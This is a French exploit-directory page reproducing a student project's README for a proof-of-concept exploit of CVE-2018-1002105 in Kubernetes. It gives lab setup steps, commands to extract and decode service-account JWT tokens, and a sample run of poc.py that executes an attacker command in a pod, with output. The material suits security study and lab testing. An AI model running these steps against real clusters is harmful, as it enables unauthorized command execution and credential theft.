Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2018-1002105 — Exploit de preuve de concept pour CVE-2018-1002105, une vulnérabilité d'escalade de privilèges dans Kubernetes permettant l'exécution non autorisée de commandes dans les pods via le kube-apiserver. | Kitploit
Outils/GitHubGitHub/sh-ubh/cve-2018-1002105
Escalade de PrivilègesSécurité des ConteneursAnalyse des VulnérabilitésExploitationTests d'IntrusionSécurité Cloud
GitHubsh-ubh/cve-2018-1002105

CVE-2018-1002105

Exploit de preuve de concept pour CVE-2018-1002105, une vulnérabilité d'escalade de privilèges dans Kubernetes permettant l'exécution non autorisée de commandes dans les pods via le kube-apiserver.

Voir le dépôt
12il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CMPT733-Groupe11(0x90)

CVE-2018-1002105

Membres: Abhishek Rungta, Shubham Saini, Siddhant Sood

Configuration de l'environnement

  • Une VM Linux (par exemple Ubuntu 20.04)
  • Minikube pour le déploiement local de Kubernetes
  • Une de ces anciennes versions(1.0.x— 1.9.x, 1.10.0—1.10.10,1.11.0—1.11.4,1.12.0—1.12.2)

Exécution de l'exploit

Nous avons fourni une image VirtualBox (fichier .ova). Téléchargez-la et créez une VM à partir de celle-ci. L'ova fournie est préconfigurée avec Docker v18.09 et Minikube v1.9.0.

OVA link

Construire le cluster Kubernetes

Comme notre image virtuelle a déjà minikube et les versions Kubernetes requises, exécutez simplement la commande suivante pour démarrer minikube

root@kitploit:~
minikube start --kubernetes-version=v1.12.2

Créer un nouvel utilisateur, un namespace et attribuer un rôle

Créez un nouvel utilisateur et un namespace et attribuez le rôle RBAC à l'utilisateur créé en utilisant la commande suivante.

root@kitploit:~
kubectl apply -f fixing_policy.yml

Supprimer l'accès à conntract

root@kitploit:~
kubectl edit configmaps kube-proxy --namespace=kube-system

Changez le paramètre maxPerCore à 0

Obtenir le token JWT

Exécutez d'abord la commande suivante pour obtenir tous les tokens JWT stockés dans le système

root@kitploit:~
kubectl get secrets -A

Pour obtenir le secret de l'utilisateur créé, exécutez la commande suivante :

root@kitploit:~
kubectl -n [namespace] get secrets [user-token] -o json

Ensuite, décodez-le en base64.

root@kitploit:~
export TOKEN=$(echo TOKEN | base64 -d)
echo $TOKEN

Obtenir l'adresse IP et le numéro de port

root@kitploit:~
kubectl cluster-info

Pour déployer le pod

root@kitploit:~
kubectl run --image=nginx:alpine securenginx -n poc

Exécuter le POC

Spécifiez tous les arguments requis :
-t pour la cible > ip:port (obligatoire)
-j pour le token JWT de l'utilisateur (obligatoire)
-p pour le pod (obligatoire)
-n pour le namespace
-m pour la méthode (obligatoire)
-c pour le conteneur
-x pour la commande de l'attaquant

Cas de test

Entrée

root@kitploit:~
./poc.py -t [IP:Port] -j [token] -p [pod] -n [namespace] -m attach -x "command"
root@kitploit:~
./poc.py -t 127.0.0.1:32768 -j $TOKEN -p securenginx -m attach -n poc -x "ifconfig eth0" 

Sortie

root@kitploit:~
eth0      Link encap:Ethernet  HWaddr 02:42:AC:11:00:02  
          inet addr:172.17.0.2  Bcast:172.17.255.255  Mask:255.255.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1313 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1224 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:217603 (212.5 KiB)  TX bytes:428778 (418.7 KiB)

{"metadata":{},"status":"Success"}

Démo vidéo

Vidéo de démonstration lien

Télécharger l’outil